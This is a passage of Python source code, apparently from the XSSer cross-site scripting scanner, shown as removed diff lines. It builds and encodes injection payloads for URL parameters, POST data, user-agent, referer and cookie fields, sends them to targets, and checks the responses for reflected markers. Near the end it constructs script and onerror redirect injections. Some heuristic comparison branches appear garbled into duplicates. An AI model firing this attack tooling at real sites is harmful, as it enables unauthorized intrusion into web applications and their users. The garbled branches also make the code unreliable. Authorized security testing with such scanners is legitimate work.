- hashed_payload = urllib.parse.urlencode({'':hashed_payload}) #DoubleURL encoding
- hashed_payload = cgi.escape(hashed_payload) # + HTML encoding
- hashed_payload = str(hashed_payload) # + Unicode
- # Quick Defense
- if options.quickdefense:
- hashed_payload = str(hashed_payload) # + Unicode
- # apply user final attack url payload
- if user_attack_payload:
- hashed_vector_url = self.encoding_permutations(user_attack_payload)
- else:
- hashed_vector_url = self.encoding_permutations(hashed_payload)
- # replace special payload string also for extra attacks
- if self.extra_hashed_injections:
- hashed_payload = hashed_payload.replace('XSS', 'PAYLOAD')
- for k, v in self.extra_hashed_injections.items():
- if v[1] in hashed_payload:
- self.extra_hashed_vector_url[k] = v[0], hashed_payload
- self.extra_hashed_injections = self.extra_hashed_vector_url
- if not options.getdata: # using GET as a single input (-u)
- target_url = url
- else:
- if not url.endswith("/") and not options.getdata.startswith("/"):
- url = url + "/"
- target_url = url + options.getdata
- p_uri = urlparse(target_url)
- uri = p_uri.netloc
- path = p_uri.path
- if not uri.endswith('/') and not path.startswith('/'):
- uri = uri + "/"
- if self.options.target or self.options.crawling: # for audit entire target allows target without 'XSS/X1S' keyword
- if not "XSS" in target_url:
- if not target_url.endswith("/"):
- target_url = target_url + "/XSS"
- else:
- target_url = target_url + "XSS"
- target_params = parse_qs(urlparse(target_url).query, keep_blank_values=True)
- if self.options.script:
- if not 'XSS' in self.options.script and not self.options.crawling: # 'XSS' keyword used to change PAYLOAD at target_params
- self.not_keyword_exit()
- if not target_params and not options.postdata:
- if not self.options.xsa and not self.options.xsr and not self.options.coo: # extra attacks payloads
- if not 'XSS' in target_url and not 'X1S' in target_url and not self.options.crawling: # not any payloader found!
- self.not_keyword_exit()
- else: # keyword found at target url (ex: https://target.com/XSS)
- if 'XSS' in target_url:
- url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
- elif 'X1S' in target_url:
- url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
- hashed_payload = payload_string.replace('XSS', url_orig_hash)
- if "[B64]" in hashed_payload: # [DCP Injection]
- dcp_payload = hashed_payload.split("[B64]")[1]
- dcp_preload = hashed_payload.split("[B64]")[0]
- dcp_payload = b64encode(dcp_payload)
- hashed_payload = dcp_preload + dcp_payload
- self.hashed_injections[url_orig_hash] = target_url
- if user_attack_payload:
- pass
- else:
- hashed_vector_url = self.encoding_permutations(hashed_payload)
- target_params[''] = hashed_vector_url # special target_param when XSS only at target_url
- target_url_params = urllib.parse.urlencode(target_params)
- if not uri.endswith('/') and not path.startswith('/'):
- uri = uri + "/"
- dest_url = p_uri.scheme + "://" + uri + path
- if not "XSS" in dest_url:
- if not dest_url.endswith("/"):
- dest_url = dest_url + "/" + hashed_vector_url
- else:
- dest_url = dest_url + hashed_vector_url
- else:
- if 'XSS' in dest_url:
- dest_url = dest_url.replace('XSS', hashed_vector_url)
- if 'X1S' in dest_url:
- dest_url = dest_url.replace('X1S', hashed_vector_url)
- else:
- if 'XSS' in target_url:
- url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
- elif 'X1S' in target_url:
- url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
- hashed_payload = payload_string.replace('XSS', url_orig_hash)
- if "[B64]" in hashed_payload: # [DCP Injection]
- dcp_payload = hashed_payload.split("[B64]")[1]
- dcp_preload = hashed_payload.split("[B64]")[0]
- dcp_payload = b64encode(dcp_payload)
- hashed_payload = dcp_preload + dcp_payload
- self.hashed_injections[url_orig_hash] = target_url
- if user_attack_payload:
- pass
- else:
- hashed_vector_url = self.encoding_permutations(hashed_payload)
- target_params[''] = hashed_vector_url # special target_param when XSS only at target_url
- target_url_params = urllib.parse.urlencode(target_params)
- if not uri.endswith('/') and not path.startswith('/'):
- uri = uri + "/"
- dest_url = p_uri.scheme + "://" + uri + path
- if 'XSS' in dest_url:
- dest_url = dest_url.replace('XSS', hashed_vector_url)
- if 'X1S' in dest_url:
- dest_url = dest_url.replace('X1S', hashed_vector_url)
- dest_url = p_uri.scheme + "://" + uri + path + "?" + target_url_params
- else:
- if not options.postdata:
- r = 0
- for key, value in target_params.items(): # parse params searching for keywords
- for v in value:
- if v == 'XSS' or v == 'X1S': # user input keywords where inject a payload
- if v == 'XSS':
- url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
- elif v == 'X1S':
- url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
- hashed_payload = payload_string.replace('XSS', url_orig_hash)
- if "[B64]" in hashed_payload: # [DCP Injection]
- dcp_payload = hashed_payload.split("[B64]")[1]
- dcp_preload = hashed_payload.split("[B64]")[0]
- dcp_payload = b64encode(dcp_payload)
- hashed_payload = dcp_preload + dcp_payload
- self.hashed_injections[url_orig_hash] = key
- if user_attack_payload:
- pass
- else:
- hashed_vector_url = self.encoding_permutations(hashed_payload)
- target_params[key] = hashed_vector_url
- r = r + 1
- else:
- if self.options.xsa or self.options.xsr or self.options.coo:
- url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
- self.hashed_injections[url_orig_hash] = key
- target_params[key] = v
- r = r + 1
- else:
- target_params[key] = v
- if r == 0 and not self.options.xsa and not self.options.xsr and not self.options.coo and not self.options.crawling:
- self.not_keyword_exit()
- payload_url = query_string.strip() + hashed_vector_url
- target_url_params = urllib.parse.urlencode(target_params)
- dest_url = p_uri.scheme + "://" + uri + path + "?" + target_url_params
- else: # using POST provided by parameter (-p)
- target_params = parse_qs(query_string, keep_blank_values=True)
- r = 0
- for key, value in target_params.items(): # parse params searching for keywords
- for v in value:
- if v == 'XSS' or v == 'X1S': # user input keywords where inject a payload
- if v == 'XSS':
- url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
- elif v == 'X1S':
- url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
- hashed_payload = payload_string.replace('XSS', url_orig_hash)
- if "[B64]" in hashed_payload: # [DCP Injection]
- dcp_payload = hashed_payload.split("[B64]")[1]
- dcp_preload = hashed_payload.split("[B64]")[0]
- dcp_payload = b64encode(dcp_payload)
- hashed_payload = dcp_preload + dcp_payload
- self.hashed_injections[url_orig_hash] = key
- if user_attack_payload:
- pass
- else:
- hashed_vector_url = self.encoding_permutations(hashed_payload)
- target_params[key] = hashed_vector_url
- r = r + 1
- else:
- if self.options.xsa or self.options.xsr or self.options.coo:
- url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
- self.hashed_injections[url_orig_hash] = key
- target_params[key] = v
- r = r + 1
- else:
- target_params[key] = v
- if r == 0 and not self.options.xsa and not self.options.xsr and not self.options.coo and not self.options.crawling:
- self.not_keyword_exit()
- target_url_params = urllib.parse.urlencode(target_params)
- dest_url = target_url_params
- self._ongoing_attacks['url'] = url_orig_hash
- return dest_url, agent, referer, cookie
- def attack_url_payload(self, url, payload, query_string):
- if not self.pool:
- pool = self.mothership.pool
- else:
- pool = self.pool
- c = Curl()
- if self.options.getdata or not self.options.postdata:
- dest_url, agent, referer, cookie = self.get_url_payload(url, payload, query_string, None)
- def _cb(request, result):
- self.finish_attack_url_payload(c, request, result, payload,
- query_string, url, dest_url)
- _error_cb = self.error_attack_url_payload
- def _error_cb(request, error):
- self.error_attack_url_payload(c, url, request, error)
- c.agent = agent
- c.referer = referer
- c.cookie = cookie
- if " " in dest_url: # parse blank spaces
- dest_url = dest_url.replace(" ", "+")
- pool.addRequest(c.get, [[dest_url]], _cb, _error_cb)
- self._ongoing_requests += 1
- if self.options.postdata:
- dest_url, agent, referer, cookie = self.get_url_payload("", payload, query_string, None)
- def _cb(request, result):
- self.finish_attack_url_payload(c, request, result, payload,
- query_string, url, dest_url)
- _error_cb = self.error_attack_url_payload
- def _error_cb(request, error):
- self.error_attack_url_payload(c, url, request, error)
- dest_url = dest_url.strip().replace("/", "", 1)
- c.agent = agent
- c.referer = referer
- c.cookie = cookie
- pool.addRequest(c.post, [[url, dest_url]], _cb, _error_cb)
- self._ongoing_requests += 1
- def error_attack_url_payload(self, c, url, request, error):
- self._ongoing_requests -= 1
- for reporter in self._reporters:
- reporter.mosquito_crashed(url, str(error[0]))
- dest_url = request.args[0]
- self.report("Failed attempt (URL Malformed!?): " + url + "\n")
- self.urlmalformed = True
- if self.urlmalformed == True and self.urlspoll[0] == url:
- self.land()
- self.report(str(error[0]))
- if self.options.verbose:
- traceback.print_tb(error[2])
- c.close()
- del c
- return
- def finish_attack_url_payload(self, c, request, result, payload,
- query_string, url, dest_url):
- self.round_complete = self.round_complete + 1
- self.report("="*75)
- self.report("[*] Test: [ "+str(self.round_complete)+"/"+str(self.rounds)+" ] <-> "+str(self.time))
- self.report("="*75)
- self.report("\n[+] Target: \n\n [ "+ str(url) + " ]\n")
- self._ongoing_requests -= 1
- # adding constant head check number flag
- if self.options.isalive:
- self.flag_isalive_num = int(self.options.isalive)
- if not self.options.isalive:
- pass
- elif self.options.isalive and not self.options.nohead:
- self.errors_isalive = self.errors_isalive + 1
- if self.errors_isalive > self.options.isalive:
- pass
- else:
- self.report("---------------------")
- self.report("Alive Checker for: " + url + " - [", self.errors_isalive, "/", self.options.isalive, "]\n")
- if self.next_isalive == True:
- hc = Curl()
- self.next_isalive = False
- try:
- urls = hc.do_head_check([url])
- except:
- print("[Error] Target url: (" + url + ") is unaccesible!" + " [DISCARDED]" + "\n")
- self.errors_isalive = 0
- return
- if str(hc.info()["http-code"]) in ["200", "302", "301", "401"]:
- print("HEAD alive check: OK" + "(" + hc.info()["http-code"] + ")\n")
- print("- Your target still Alive: " + "(" + url + ")")
- print("- If you are receiving continuous 404 errors requests on your injections but your target is alive is because:\n")
- print(" - your injections are failing: normal :-)")
- print(" - maybe exists some IPS/NIDS/... systems blocking your requests!\n")
- else:
- if str(hc.info()["http-code"]) == "0":
- print("\n[Error] Target url: (" + url + ") is unaccesible!" + " [DISCARDED]" + "\n")
- else:
- print("HEAD alive check: FAILED" + "(" + hc.info()["http-code"] + ")\n")
- print("- Your target " + "(" + url + ")" + " looks that is NOT alive")
- print("- If you are receiving continuous 404 errors requests on payloads\n and this HEAD pre-check request is giving you another 404\n maybe is because; target is down, url malformed, something is blocking you...\n- If you haven't more than one target then try to; STOP THIS TEST!!\n")
- self.errors_isalive = 0
- else:
- if str(self.errors_isalive) >= str(self.options.isalive):
- self.report("---------------------")
- self.report("\nAlive System: XSSer is checking if your target still alive. [Waiting for reply...]\n")
- self.next_isalive = True
- self.options.isalive = self.flag_isalive_num
- else:
- if self.options.isalive and self.options.nohead:
- self.report("---------------------")
- self.report("Alive System DISABLED!: XSSer is using a pre-check HEAD request per target by default to perform better accurance on tests\nIt will check if target is alive before inject all the payloads. try (--no-head) with (--alive <num>) to control this checker limit manually")
- self.report("---------------------")
- # check results an alternative url, choosing method and parameters, or not
- if self.options.altm == None or self.options.altm not in ["GET", "POST", "post"]:
- self.options.altm = "GET"
- if self.options.altm == "post":
- self.options.altm = "POST"
- if self.options.alt == None:
- pass
- else:
- self.report("="*45)
- self.report("[+] Checking Response Options:", "\n")
- self.report("[+] Url:", self.options.alt)
- self.report("[-] Method:", self.options.altm)
- if self.options.ald:
- self.report("[-] Parameter(s):", self.options.ald, "\n")
- else:
- self.report("[-] Parameter(s):", query_string, "\n")
- if c.info()["http-code"] in ["200", "302", "301"]:
- if self.options.statistics:
- self.success_connection = self.success_connection + 1
- self._report_attack_success(c, dest_url, payload,
- query_string, url)
- else:
- self._report_attack_failure(c, dest_url, payload,
- query_string, url)
- # checking response results
- if self.options.alt == None:
- pass
- else:
- self.report("="*45)
- self.report("[+] Checking Response Results:", "\n")
- self.report("Searching using", self.options.altm, "for:", orig_hash, "on alternative url")
- if 'PAYLOAD' in payload['payload']:
- user_attack_payload = payload['payload'].replace('PAYLOAD', orig_hash)
- if self.options.ald:
- query_string = self.options.ald
- if "VECTOR" in self.options.alt:
- dest_url = self.options.alt
- else:
- if not dest_url.endswith("/"):
- dest_url = dest_url + "/"
- if self.options.altm == 'POST':
- dest_url = "" + query_string + user_attack_payload
- dest_url = dest_url.strip().replace("/", "", 1)
- data = c.post(url, dest_url)
- else:
- dest_url = self.options.alt + query_string + user_attack_payload
- c.get(dest_url)
- # perform check response injection
- if c.info()["http-code"] in ["200", "302", "301"]:
- if self.options.statistics:
- self.success_connection = self.success_connection + 1
- self._report_attack_success(c, dest_url, payload,
- query_string, url)
- else:
- self._report_attack_failure(c, dest_url, payload,
- query_string, url)
- c.close()
- del c
- def encoding_permutations(self, enpayload_url):
- """
- perform encoding permutations on the url and query_string.
- """
- options = self.options
- if options.Cem:
- enc_perm = options.Cem.split(",")
- for _enc in enc_perm:
- enpayload_url = self.encmap[_enc](enpayload_url)
- else:
- for enctype in list(self.encmap.keys()):
- if getattr(options, enctype):
- enpayload_url = self.encmap[enctype](enpayload_url)
- return enpayload_url
- def _report_attack_success(self, curl_handle, dest_url, payload,\
- query_string, orig_url):
- """
- report connection success of an attack
- """
- if not orig_url in self.successful_urls:
- self.successful_urls.append(orig_url)
- options = self.options
- current_hashes = [] # to check for ongoing hashes
- if payload['browser'] == "[Heuristic test]":
- for key, value in self.hashed_injections.items():
- if str(key) in dest_url:
- if key not in current_hashes:
- self.final_hashes[key] = value
- current_hashes.append(key)
- elif self.options.hash:
- for key, value in self.hashed_injections.items():
- self.final_hashes[key] = value
- current_hashes.append(key)
- else:
- self.report("-"*45)
- self.report("\n[!] Hashing: \n")
- for key, value in self.hashed_injections.items():
- if str(key) in dest_url:
- if key not in current_hashes:
- self.report(" [ " +key+" ] : [" , value + " ]")
- self.final_hashes[key] = value
- current_hashes.append(key)
- else:
- if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
- b64_string = payload["payload"].split("[B64]")
- b64_string = b64_string[1]
- b64_string = b64_string.replace('PAYLOAD', key)
- b64_string = b64encode(b64_string)
- b64_string = urllib.parse.urlencode({'':b64_string})
- if b64_string.startswith("="):
- b64_string = b64_string.replace("=", "")
- if str(b64_string) in str(dest_url):
- if key not in current_hashes:
- self.report(" [ " +key+" ] : [" , value + " ]")
- self.final_hashes[key] = value
- current_hashes.append(key)
- else: # when using encoders (Str, Hex, Dec...)
- payload_string = payload["payload"].replace("PAYLOAD", key)
- hashed_payload = self.encoding_permutations(payload_string)
- if self.options.Cem:
- enc_perm = options.Cem.split(",")
- for e in enc_perm:
- hashed_payload = self.encoding_permutations(payload_string)
- if e == "Str":
- hashed_payload = hashed_payload.replace(",", "%2C")
- if e == "Mix":
- hashed_payload=urllib.parse.quote(hashed_payload)
- if e == "Dec":
- hashed_payload = hashed_payload.replace("&#", "%26%23")
- if e == "Hex":
- hashed_payload = hashed_payload.replace("%", "%25")
- if e == "Hes":
- hashed_payload = hashed_payload.replace("&#", "%26%23")
- hashed_payload = hashed_payload.replace(";", "%3B")
- else:
- if self.options.Str:
- hashed_payload = hashed_payload.replace(",", "%2C")
- if self.options.Mix:
- hashed_payload=urllib.parse.quote(hashed_payload)
- if self.options.Dec:
- hashed_payload = hashed_payload.replace("&#", "%26%23")
- if self.options.Hex:
- hashed_payload = hashed_payload.replace("%", "%25")
- if self.options.Hes:
- hashed_payload = hashed_payload.replace("&#", "%26%23")
- hashed_payload = hashed_payload.replace(";", "%3B")
- if str(hashed_payload) in str(dest_url):
- if key not in current_hashes:
- self.report(" [ " +key+" ] : [" , value + " ]")
- self.final_hashes[key] = value
- if self.extra_hashed_injections:
- for k, v in self.extra_hashed_injections.items():
- payload_url = str(v[1])
- if payload_url == payload["payload"]:
- if k not in current_hashes:
- self.report(" [ " +k+" ] : [" , v[0] + " ]")
- self.final_hashes[k] = v[0]
- current_hashes.append(k)
- self.report("\n"+"-"*45+"\n")
- if payload['browser'] == "[Heuristic test]":
- self.report("[+] Checking: " + str(payload['payload']).strip('XSS'), "\n")
- else:
- if self.extra_hashed_injections:
- extra_attacks=[]
- if options.xsa:
- extra_attacks.append("XSA")
- if options.xsr:
- extra_attacks.append("XSR")
- if options.coo:
- extra_attacks.append("COO")
- if extra_attacks:
- extra_attacks = "+ "+ str(extra_attacks)
- if options.postdata:
- self.report("[*] Trying: " + extra_attacks + "\n\n" + orig_url.strip(), "(POST:", query_string + ") \n")
- else:
- self.report("[*] Trying: " + extra_attacks + "\n\n" + dest_url.strip()+"\n")
- else:
- if options.postdata:
- self.report("[*] Trying: \n\n" + orig_url.strip(), "(POST:", query_string + ")\n")
- else:
- self.report("[*] Trying: \n\n" + dest_url.strip() + "\n")
- if not self.options.hash and not self.options.script:
- if not "XSS" in dest_url or not "X1S" in dest_url and self.options.xsa or self.options.xsr or self.options.coo:
- pass
- else:
- self.report("-"*45)
- if payload['browser'] == "[Heuristic test]" or payload['browser'] == "[hashed_precheck_system]" or payload['browser'] == "[manual_injection]":
- pass
- else:
- if not "XSS" in dest_url or not "X1S" in dest_url:
- if self.options.xsa or self.options.xsr or self.options.coo:
- pass
- else:
- self.report("-"*45)
- self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
- if not self.options.verbose:
- self.report("-"*45 + "\n")
- else:
- self.report("-"*45)
- self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
- if not self.options.verbose:
- self.report("-"*45 + "\n")
- # statistics injections counters
- if payload['browser']=="[hashed_precheck_system]" or payload['browser']=="[Heuristic test]":
- self.check_positives = self.check_positives + 1
- elif payload['browser']=="[Data Control Protocol Injection]":
- self.dcp_injection = self.dcp_injection + 1
- elif payload['browser']=="[Document Object Model Injection]":
- self.dom_injection = self.dom_injection + 1
- elif payload['browser']=="[Induced Injection]":
- self.httpsr_injection = self.httpsr_injection + 1
- elif payload['browser']=="[manual_injection]":
- self.manual_injection = self.manual_injection + 1
- else:
- self.auto_injection = self.auto_injection +1
- if not self.hashed_injections:
- for k, v in self.extra_hashed_injections.items():
- if k in current_hashes:
- if v[0] == "XSA":
- agent = v[1]
- agent = agent.replace("PAYLOAD", k)
- Curl.agent = agent
- if v[0] == "XSR":
- referer = v[1]
- referer = referer.replace("PAYLOAD", k)
- Curl.referer = referer
- if v[0] == "COO":
- cookie = v[1]
- cookie = cookie.replace("PAYLOAD", k)
- Curl.cookie = cookie
- else:
- for key, value in self.hashed_injections.items():
- for k, v in self.extra_hashed_injections.items():
- payload_url = v[1]
- payload_url = payload_url.replace("PAYLOAD",key)
- payload_url = payload_url.replace(" ", "+") # black magic!
- final_dest_url = str(urllib.parse.unquote(dest_url.strip()))
- if payload_url in final_dest_url:
- if v[0] == "XSA":
- agent = v[1]
- agent = agent.replace("PAYLOAD", k)
- Curl.agent = agent
- if v[0] == "XSR":
- referer = v[1]
- referer = referer.replace("PAYLOAD", k)
- Curl.referer = referer
- if v[0] == "COO":
- cookie = v[1]
- cookie = cookie.replace("PAYLOAD", k)
- Curl.cookie = cookie
- else:
- if k in current_hashes:
- if v[0] == "XSA":
- agent = v[1]
- agent = agent.replace("PAYLOAD", k)
- Curl.agent = agent
- if v[0] == "XSR":
- referer = v[1]
- referer = referer.replace("PAYLOAD", k)
- Curl.referer = referer
- if v[0] == "COO":
- cookie = v[1]
- cookie = cookie.replace("PAYLOAD", k)
- Curl.cookie = cookie
- if options.verbose:
- self.report("-"*45)
- self.report("\n[+] HTTP Headers Verbose:\n")
- self.report(" [Client Request]")
- Curl.print_options()
- self.report(" [Server Reply]\n")
- self.report(curl_handle.info())
- self.report("="*45)
- self.report("[*] Injection(s) Results:")
- self.report("="*45 + "\n")
- if payload['browser']=="[Heuristic test]":
- for key, value in self.final_hashes.items():
- if str(key) in dest_url:
- heuristic_string = key
- heuristic_param = str(payload['payload']).strip('XSS')
- # checking heuristic responses
- if heuristic_string in curl_handle.body():
- # ascii
- if heuristic_param == "\\":
- self.heuris_backslash_found = self.heuris_backslash_found + 1
- # / same as ASCII and Unicode
- elif heuristic_param == "/":
- self.heuris_slash_found = self.heuris_slash_found + 1
- self.heuris_une_slash_found = self.heuris_une_slash_found + 1
- elif heuristic_param == ">":
- self.heuris_mayor_found = self.heuris_mayor_found + 1
- elif heuristic_param == "<":
- self.heuris_minor_found = self.heuris_minor_found + 1
- elif heuristic_param == ";":
- self.heuris_semicolon_found = self.heuris_semicolon_found + 1
- elif heuristic_param == "'":
- self.heuris_colon_found = self.heuris_colon_found + 1
- elif heuristic_param == '"':
- self.heuris_doublecolon_found = self.heuris_doublecolon_found + 1
- elif heuristic_param == "=":
- self.heuris_equal_found = self.heuris_equal_found + 1
- # une
- elif heuristic_param == "%5C":
- self.heuris_une_backslash_found = self.heuris_une_backslash_found + 1
- elif heuristic_param == "%3E":
- self.heuris_une_mayor_found = self.heuris_une_mayor_found + 1
- elif heuristic_param == "%3C":
- self.heuris_une_minor_found = self.heuris_une_minor_found + 1
- elif heuristic_param == "%3B":
- self.heuris_une_semicolon_found = self.heuris_une_semicolon_found + 1
- elif heuristic_param == "%27":
- self.heuris_une_colon_found = self.heuris_une_colon_found + 1
- elif heuristic_param == "%22":
- self.heuris_une_doublecolon_found = self.heuris_une_doublecolon_found + 1
- elif heuristic_param == "%3D":
- self.heuris_une_equal_found = self.heuris_une_equal_found + 1
- # dec
- elif heuristic_param == "\":
- self.heuris_dec_backslash_found = self.heuris_dec_backslash_found + 1
- elif heuristic_param == "/":
- self.heuris_dec_slash_found = self.heuris_dec_slash_found + 1
- elif heuristic_param == ">":
- self.heuris_dec_mayor_found = self.heuris_dec_mayor_found + 1
- elif heuristic_param == "<":
- self.heuris_dec_minor_found = self.heuris_dec_minor_found + 1
- elif heuristic_param == ";":
- self.heuris_dec_semicolon_found = self.heuris_dec_semicolon_found + 1
- elif heuristic_param == "'":
- self.heuris_dec_colon_found = self.heuris_dec_colon_found + 1
- elif heuristic_param == """:
- self.heuris_dec_doublecolon_found = self.heuris_dec_doublecolon_found + 1
- elif heuristic_param == "=":
- self.heuris_dec_equal_found = self.heuris_dec_equal_found + 1
- self.add_success(dest_url, heuristic_param, value, query_string, orig_url, 'heuristic') # success!
- else:
- if heuristic_param == "\\":
- self.heuris_backslash_notfound = self.heuris_backslash_notfound + 1
- elif heuristic_param == "/":
- self.heuris_slash_notfound = self.heuris_slash_notfound + 1
- elif heuristic_param == ">":
- self.heuris_mayor_notfound = self.heuris_mayor_notfound + 1
- elif heuristic_param == "<":
- self.heuris_minor_notfound = self.heuris_minor_notfound + 1
- elif heuristic_param == ";":
- self.heuris_semicolon_notfound = self.heuris_semicolon_notfound + 1
- elif heuristic_param == "'":
- self.heuris_colon_notfound = self.heuris_colon_notfound + 1
- elif heuristic_param == '"':
- self.heuris_doublecolon_notfound = self.heuris_doublecolon_notfound + 1
- elif heuristic_param == "=":
- self.heuris_equal_notfound = self.heuris_equal_notfound + 1
- self.add_failure(dest_url, heuristic_param, value, query_string, orig_url, 'heuristic') # heuristic fail
- elif self.options.hash:
- for key, value in self.final_hashes.items():
- if str(key) in dest_url:
- if key in curl_handle.body():
- self.add_success(dest_url, key, value, query_string, orig_url, 'hashing check') # success!
- else:
- self.add_failure(dest_url, key, value, query_string, orig_url, 'hashing check') # hashing_check fail
- else:
- for key, value in self.final_hashes.items():
- if key in current_hashes:
- if "XSA" in value:
- method = "XSA"
- hashing = key
- elif "XSR" in value:
- method = "XSR"
- hashing = key
- elif "COO" in value:
- method = "COO"
- hashing = key
- else:
- method = value
- hashing = key
- if not hashing:
- pass
- else:
- if hashing not in dest_url:
- if key in current_hashes:
- if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
- b64_string = payload["payload"].split("[B64]")
- b64_string = b64_string[1]
- b64_string = b64_string.replace('PAYLOAD', key)
- b64_string = b64encode(b64_string)
- b64_string = urllib.parse.urlencode({'':b64_string})
- if b64_string.startswith("="):
- b64_string = b64_string.replace("=", "")
- if str(b64_string) in str(dest_url):
- self.check_hash_on_target(hashing, dest_url, orig_url, payload, query_string, method, curl_handle)
- else:
- self.check_hash_on_target(hashing, dest_url, orig_url, payload, query_string, method, curl_handle)
- else:
- self.check_hash_on_target(hashing, dest_url, orig_url, payload, query_string, method, curl_handle)
- self.report("")
- def check_hash_on_target(self, hashing, dest_url, orig_url, payload, query_string, method, curl_handle):
- options = self.options
- c_info = str(curl_handle.info())
- c_body = str(curl_handle.body())
- if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
- b64_string = payload["payload"].split("[B64]")
- b64_string = b64_string[1]
- b64_string = b64_string.replace('PAYLOAD', hashing)
- b64_string = b64encode(b64_string)
- if b64_string.startswith("="):
- b64_string = b64_string.replace("=", "")
- hashing = b64_string
- if str(hashing) in c_body and "http-code: 200" in c_info: # only add a success if hashing is on body and we have HTTP 200-OK [XSS CHECKPOINT!]
- # some anti false positives checkers
- if str(options.discode) in curl_handle.body(): # provided by user
- self.report("[Info] Reply contains code [ --discode ] provided to be discarded... forcing failure!\n")
- self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
- else:
- if str('/>' + hashing) in curl_handle.body() or str('href=' + dest_url + hashing) in curl_handle.body() or str('content=' + dest_url + hashing) in curl_handle.body():
- self.report("[Info] Reply looks like a -false positive- from here. Check it, manually... forcing discard!\n")
- self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
- else:
- if options.discode:
- self.report("[Info] Reply does NOT contain code [ --discode ] provided to be discarded... adding! ;-)\n")
- self.add_success(dest_url, payload, hashing, query_string, orig_url, method) # success!
- else:
- self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
- def add_failure(self, dest_url, payload, hashing, query_string, orig_url, method='url'):
- """
- Add an attack that failed to inject
- """
- if method == "heuristic":
- self.report(" [ NOT-FOUND ] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
- self.hash_notfound.append((dest_url, "[Heuristic test]", method, hashing, query_string, payload, orig_url))
- elif method == "hashing check":
- self.report(" [ NOT-FOUND ] -> [ " + str(hashing) + " ] : [ hashing_check ]")
- self.hash_notfound.append((dest_url, "[hashing check]", method, hashing, query_string, payload, orig_url))
- else:
- self.report(" [ NOT-FOUND ] -> [ " + hashing + " ] : [ " + method + " ]")
- self.hash_notfound.append((dest_url, payload['browser'], method, hashing, query_string, payload, orig_url))
-
- def add_success(self, dest_url, payload, hashing, query_string, orig_url, method='url'):
- """
- Add an attack that managed to inject the code
- """
- if method == "heuristic":
- self.report(" [ FOUND! ] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
- self.hash_found.append((dest_url, "[Heuristic test]", method, hashing, query_string, payload, orig_url))
- elif method == "hashing check":
- self.report(" [ FOUND! ] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
- self.hash_found.append((dest_url, "[hashing check]", method, hashing, query_string, payload, orig_url))
- else:
- payload_sub = payload['payload']
- self.report(" [ FOUND! ] -> [ " + hashing + " ] : [ " + method + " ] -> [ " + payload_sub + " ]")
- self.hash_found.append((dest_url, payload['browser'], method, hashing, query_string, payload, orig_url))
- for reporter in self._reporters:
- reporter.add_success(dest_url)
- if self.options.reversecheck:
- if self.options.dcp or self.options.inducedcode or self.options.dom:
- pass
- else:
- self.do_token_check(orig_url, hashing, payload, query_string, dest_url)
- def do_token_check(self, orig_url, hashing, payload, query_string, dest_url):
- if "VECTOR" in orig_url:
- dest_url = orig_url
- else:
- if not dest_url.endswith("/"):
- dest_url = dest_url + "/"
- dest_url = orig_url + query_string + payload['payload']
- tok_url = None
- self_url = "http://localhost:19084/success/" + hashing
- shadow_js_inj = "document.location=document.location.hash.substring(1)"
- shadow_inj = "<script>" + shadow_js_inj + "</script>"
- shadow_js_inj = shadow_js_inj
- dest_url = dest_url.split("#")[0]
- def requote(what):
- return urllib.parse.quote_plus(what)
- vector_and_payload = payload['payload']
- _e = self.encoding_permutations
- if 'XSS' in dest_url:
- dest_url = dest_url.replace('XSS', vector_and_payload)
- if 'X1S' in dest_url:
- dest_url = dest_url.replace('XSS', vector_and_payload)
- if 'VECTOR' in dest_url:
- dest_url = dest_url.replace('VECTOR', vector_and_payload)
- if '">PAYLOAD' in dest_url:
- tok_url = dest_url.replace('">PAYLOAD', _e('">' + shadow_inj))
- tok_url += '#' + self_url
- elif "'>PAYLOAD" in dest_url:
- tok_url = dest_url.replace("'>PAYLOAD", _e("'>" + shadow_inj))
- tok_url += '#' + self_url
- elif "javascript:PAYLOAD" in dest_url:
- tok_url = dest_url.replace('javascript:PAYLOAD',
- self.encoding_permutations("window.location='" + self_url+"';"))
- tok_url = dest_url.replace("javascript:PAYLOAD",
- _e("javascript:" + shadow_js_inj))
- tok_url+= '#' + self_url
- elif '"PAYLOAD"' in dest_url:
- tok_url = dest_url.replace('"PAYLOAD"', '"' + self_url + '"')
- elif "'PAYLOAD'" in dest_url:
- tok_url = dest_url.replace("'PAYLOAD'", "'" + self_url + "'")
- elif 'PAYLOAD' in dest_url and 'SRC' in dest_url:
- tok_url = dest_url.replace('PAYLOAD', self_url)
- elif "SCRIPT" in dest_url:
- tok_url = dest_url.replace('PAYLOAD',
- shadow_js_inj)
- tok_url += '#' + self_url
- elif 'onerror="PAYLOAD"' in dest_url:
- tok_url = dest_url.replace('onerror="PAYLOAD"', _e('onerror="' + shadow_inj + '"'))
- tok_url+= '#' + self_url
- elif 'onerror="javascript:PAYLOAD"' in dest_url:
- tok_url = dest_url.replace('javascript:PAYLOAD',
- self.encoding_permutations("window.location='" + self_url+"';"))
- tok_url = dest_url.replace('onerror="javascript:PAYLOAD"',
- _e('onerror="javascript:' + shadow_js_inj + '"'))
- tok_url+= '#' + self_url
- elif '<PAYLOAD>' in dest_url:
- tok_url = dest_url.replace("<PAYLOAD>", _e(shadow_inj))
- tok_url+= '#' + self_url
- elif 'PAYLOAD' in dest_url:
- tok_url = dest_url.replace("PAYLOAD", _e(shadow_inj))
- tok_url+= '#' + self_url
- elif 'href' in dest_url and 'PAYLOAD' in dest_url:
